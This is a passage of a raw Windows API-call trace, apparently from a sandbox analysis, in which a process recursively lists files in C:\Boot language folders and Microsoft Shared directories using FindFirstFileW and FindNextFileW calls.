ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.060] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.060] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.060] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0033.060] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.060] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.060] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.060] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.061] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.061] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.061] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0033.061] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.061] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.062] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.062] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.062] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.062] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.062] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0033.062] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.062] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.062] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.062] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.062] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.062] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.062] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0033.063] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.063] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a52b0 [0033.120] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.121] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.489] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0034.489] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0034.897] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0034.897] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0034.897] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0034.898] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0034.899] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0034.899] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0034.899] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0034.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0034.922] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.922] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0034.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0034.922] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.922] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0034.922] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0034.922] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0034.922] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0034.922] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0034.923] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0034.923] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0034.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0034.923] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.923] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0034.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0034.924] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.924] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0034.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0034.925] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.925] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0034.926] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0034.926] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.926] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0034.926] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0034.926] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0034.926] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0034.926] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0034.926] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f11080 | out: hHeap=0x4b0000) returned 1 [0034.928] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0034.928] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0034.928] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0034.928] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, 